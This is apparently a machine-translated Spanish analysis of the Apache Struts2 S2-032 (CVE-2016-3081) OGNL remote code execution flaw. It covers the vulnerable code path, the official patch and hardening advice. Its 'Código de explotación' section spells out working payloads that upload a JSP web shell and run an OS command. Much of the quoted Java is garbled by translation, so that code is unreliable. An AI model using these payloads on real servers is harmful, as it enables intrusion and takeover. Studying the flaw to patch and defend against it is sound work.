El 26 de abril de 2016, Apache Struts2 emitió oficialmente otro anuncio de seguridad: el servicio Apache Struts2 puede ejecutar de forma remota cualquier comando cuando se solicite y se inicia el método de estado. El número oficial es S2-032 y el número CVE es CVE-2016-3081. Esta es la vulnerabilidad a gran escala del servicio que ha explotado después de cuatro años desde que estalló la vulnerabilidad de ejecución del comando STRUTS2 en 2012. Esta vulnerabilidad también es la vulnerabilidad de seguridad más grave que se ha expuesto este año. Los piratas informáticos pueden usar esta vulnerabilidad para realizar operaciones remotas en servidores empresariales, lo que resulta en grandes amenazas de seguridad, como fuga de datos, acusación remota del host, penetración de la intranet, etc.
Después de que ocurrió la vulnerabilidad, fue otro evento colectivo para la seguridad y las empresas relacionadas. Los explotadores de vulnerabilidad estaban utilizando esta vulnerabilidad tanto como sea posible para mostrar su excelente nivel; Varias plataformas de pruebas públicas han publicado compañías que fueron atrapadas para mejorar el papel de la plataforma; Las principales compañías de seguridad también han utilizado plenamente esta vulnerabilidad para aumentar la influencia de la compañía, aprovechar el marketing, la detección gratuita, la actualización lo antes posible, etc. Todavía quedan muchos fabricantes deprimidos, y no pregunté a nadie y me metí con nadie; Luego, una gran cantidad de personal deprimido de desarrollo y operación tienen que actualizar parches de vulnerabilidad durante la noche.
Sin embargo, el principio de vulnerabilidades afecta la protección y rara vez se mencionan otros factores. Este artículo se trata de presentar sus propias opiniones sobre los puntos anteriores.
principio
Esta vulnerabilidad utiliza la ejecución dinámica de OGNL de Struts2 para acceder a cualquier código Java. Usando esta vulnerabilidad, puede escanear páginas web remotas para determinar si existe una vulnerabilidad y luego enviar instrucciones maliciosas, implementar cargas de archivos, ejecutar comandos nativos y otros ataques posteriores.
OGNL es la abreviatura del lenguaje de navegación de gráfico de objetos, y su nombre completo es el lenguaje de navegación gráfico de objetos. Es un lenguaje de expresión poderoso. A través de una sintaxis simple y consistente, puede acceder a las propiedades del objeto o llamar a los métodos del objeto a voluntad, y puede atravesar el diagrama de estructura de todo el objeto y realizar la conversión de los tipos de atributos del objeto y otras funciones.
Los símbolos #, % y $ a menudo aparecen en las expresiones OGNL
1. Generalmente hay tres usos de # símbolos.
Acceso a las propiedades del objeto no root, como la expresión de #session.msg, ya que la pila media de Struts 2 se considera un objeto raíz, debe prefijar al acceder a otros objetos no raíz; Se usa para filtrar y proyectar (proyectar) conjuntos, como personas. {?#this.age> 25}, personas. {?#this.name == 'PLA1'}. {Age} [0]; Se utiliza para construir mapas, como #{'foo1': 'Bar1', 'foo2': 'Bar2'} en el ejemplo.
2. %Símbolo
El propósito del símbolo % es calcular el valor de la expresión de OGNL cuando el atributo del indicador es un tipo de cadena. Esto es similar a Eval en JS y es muy violento.
3. El símbolo $ tiene dos usos principales.
En el archivo de recursos internacionales, consulte las expresiones de OGNL, como el código en el archivo de recursos internacionales: reg.agerange = información de recursos internacionales: la edad debe estar entre $ {min} y $ {max}; Consulte las expresiones OGNL en el archivo de configuración del marco Struts 2.
Proceso de utilización del código
1. Solicitud del cliente
http: // {Websiteip.webapp}: {Portnum}/{vul.action}? Method = {Malcmdstr}
2. La función de AfursionActionProxy de defaultActionProxy maneja las solicitudes.
protegido DefaultActionProxy (ActionInVocation Inv, String Namespace, String ActionName, String MethodName, Boolean ExecuteResult, Boolean CleanUpContext) {this.inVocation = inv; this.CleanUpContext = CleanUpContext; LOG.DEBUG ("Creación de AfaultActionProxy para el espacio de nombres [{}] y el nombre de la acción [{}]", espacio de nombres, ActionName); this.ActionName = StringScapeUtils.escapehtml4 (ActionName); this.namespace = Namespace; this.executeresult = ExecuteResult; // Los asistentes pueden pasar por alto a través del paso variable, el llenado de sintaxis, el escape de los carácter y otros métodos. this.method = stringScapeUtils.escapeecmascript (StringScapeUtils.escapehtml4 (MethodName));}3.
Name de cadena = key.substring (action_prefix.length ()); if (odDynamicMethodCalls) {int bang = name.indexof ('!'); if (bang! = -1) {// Get Method Name String Method = CleanUpActionName (name.substring (bang + 1)); mapping.setMethod (método); name = name.substring (0, bang); }}4. Llame al método de invokeaction de defaultActionInvocation para ejecutar el método aprobado.
String protegido Invokeaction (Action del objeto, ActionConfig ActionConfig) lanza la excepción {String MethodName = proxy.getMethod (); Log.debug ("Ejecutando el método de acción = {}", MethodName); String timerkey = "invokeaction:" + proxy.getActionName (); intente {utiltimerstack.push (timerkey); Objeto MethodResult; Pruebe {// Ejecute Method MethodResult = ognlutil.getValue (MethodName + "()", getStack (). getContext (), Action); } catch (MethodfailedException e) {Solución
La solución oficial es agregar verificación en la función CleanUpActionName en el paso 3.
Patrón protegido permitidoActionNames = Pattern.Compile ("[A-Za-Z0-9 ._! ///-]*"); String protegido CleanUpActionName (String Final RawActionName) {// Compruebe, ingrese la coincidencia regular de filtro ("[A-Za-Z0-9 ._! ///-]*"), que adopta un método de Whitelist Whitelist y solo los caracteres limitados como la parte superior y en la parte superior y las letras de la parte superior y la mínima mínima. if (permitidoActionNames.matcher (rawActionName) .matches ()) {return rawActionName; } else {if (log.IsWarnEnabled ()) {log.warn ("Action/Method [#0] no coincide con el patrón de nombres de acción permitido [#1], limpiándolo!", RawActionName, LustionActionNames); } String CleanActionName = RawActionName; for (string chunk: permitedActionNames.split (rawActionName)) {cleanActionName = cleanActionName.replace (fragmento, ""); } if (log.isDebugeNabled ()) {log.debug ("Acción limpia/nombre del método [#0]", CleanActionName); } return CleanActionName; }}Sugerencias de reparación
1. Deshabilitar llamadas de método dinámico
Modifique el archivo de configuración de Struts2 y establezca el valor de "Struts.enable.DynamicMethodinVocation" en falso, por ejemplo:
<constantName = "struts.enable.dynamicMethodinVocation" value = "false"/>;
2. Actualice la versión del software
Actualizar la versión Struts a 2.3.20.2, 2.3.24.2 o 2.3.28.1
Dirección del parche: https://struts.apache.org/download.cgi#struts23281
Código de explotación
1. Sube el archivo:
Método:%23_Memberaccess%[correo electrónico] [email protected] [/correo electrónico]@default_member_access,%23Req%3d%40org.apache.structs2.servletactionContext%40getRequest (),%23 Res%3d%40org.apache.structs2.servletactionContext%40getResponse (),%23Res.SetcharacterEncoding (%23Parameters.Encoding [0]),%23W%3D%23Res.getWriter (),%23pat h%3d%23Req.getRealPath (%23Parameters.pp [0]), nuevo%20java.io.bufferedwriter (nuevo%20java.io.filewriter (%23path%2b%23Parameters.shellName [0]). APTIGAR (%23Param eters.shellContent [0]))). Close (),%23W.print (%23path),%23w.close (), 1?%23xx:%23Request.ToString & ShellName = stest.jsp & shellContent = ttt & encoding = utf-8 & pp =%2f
El código anterior se ve un poco inconveniente, convímtámoslo y echemos un vistazo.
Método: #_ memberaccess [email protected]@default_member_access,#req [email protected]@getRequest (),#[email protected] ervletActionContext@getResponse (),#res.setcharacterEncoding (#parámetros.Encoding [0]),#w =#res.getwriter (),#path =#req.getRealPath (#parámetros.pp [0]), nuevo java.io.bufferedwriter (nuevo java.io.FileWriter(#path+#parameters.shellname[0]).append(#parameters.shellContent[0])).close(),#w.print(#path),#w.close(),1?#xx:#request.toString&shellname=stest.jsp&shellContent=ttt&encoding=UTF-8&pp=/
2. Ejecutar comandos locales:
Método:%23_Memberaccess%[email protected]@default_member_access,%23Res%3d%40org.apache.structs2.servletactionContext%40getRespo NSE (),%23Res. Time@getruntime (). Exec (%23Parameters.cmd [0]). getInputStream ()). UsedElimiter (%23Parameters.pp [0]),%23Str%3d%23s.hasnext ()%3F%23S. Siguiente ()%3a%23Parameters.ppp [0],%23w.print (%23str),%23w.close (), 1?%23xx:%23Request.ToString & cmd = whoami & pp = // a & pp =%20 & encod = utf-8
Echemos un vistazo después de la conversión
Método: #_ memberaccess [#parameters.name1 [0]] = true,#_ memberAccess [#parámetros.name [0]] = true,#_ memberAcess [#parameters.name2 [0]] = {},#_ memberCess [#paramete rs.name3 [0]] = {},#res [email protected]@getResponse (),#res.setcharacterEncoding (#parámetros.Encoding [0]),#w#d#res.getwriter (),#s = nuevo java.util.scanner (@java.lang.runtime@getruntime (). Exec (#parámetros.cmd [0]). getInputStream ()). UsedElimiter (#parameters.pp [0]),#str =#s.hasnext ()? int (#str),#w.close (), 1? #xx:#request.ToString & name = DESHICTICTICMETHODACESS & name1 = DESHEWPRIVATEACCESS & Name2 = ExcudedPackagenamePatterns & name3 = ExcudedClasses & cmd = Whoami & pp = // a & pp = & encod = Utf-8A través de la introducción anterior, descubrí que es relativamente fácil de entender después de la conversión.
Cómo prevenir
Hay un principio muy importante en la seguridad, que es el principio de menos permisos. El llamado menos privilegio se refiere a "los privilegios que son esenciales para cada principal (usuario o proceso) en la red al completar una determinada operación". El principio de privilegio mínimo significa que "los privilegios mínimos de que cada entidad en la red debe limitarse para garantizar que se minimicen los posibles accidentes, errores, manipulación de componentes de la red y otras pérdidas".
Por ejemplo, si las llamadas de método dinámico no se usan en el sistema, se eliminarán durante la implementación, de modo que incluso si el parche no se dispara, aún no se usará.
Uno de los daños más importantes en este sistema es ejecutar procesos locales, que también se pueden deshabilitar si el sistema no funciona localmente.
Echemos un vistazo al código que ejecuta comandos locales en el código Java, ProcessImpl en ProcessImpl.
ProcessImpl privateImpl (String CMD [], String final Envblock, ruta final de cadena, final de long [] stdhandles, final boolean redirectterRorRtore) lanza ioexception {string cmdStr; SecurityManager Security = System.getSecurityManager (); boolean permite alambiguouscommands = false; if (Security == NULL) {permitiendoBiguueCommands = true; // JDK ha especificado parámetros para identificar si se pueden ejecutar procesos locales. Valor de cadena = System.getProperty ("jdk.lang.process. allowambiguuscommands"); if (value! = null) permiso aChiMiguueoCommands =! "falso" .equalsignorecase (valor); } if (permitidoManCoMoCommands) {Cuando Java comience, agregue el parámetro -djdk.lang.process. allowambigousCommands = false, para que Java no ejecute procesos locales.
Si puede desactivar el contenido innecesario por adelantado cuando se implementa el sistema, el daño de esta vulnerabilidad puede reducirse o eliminarse.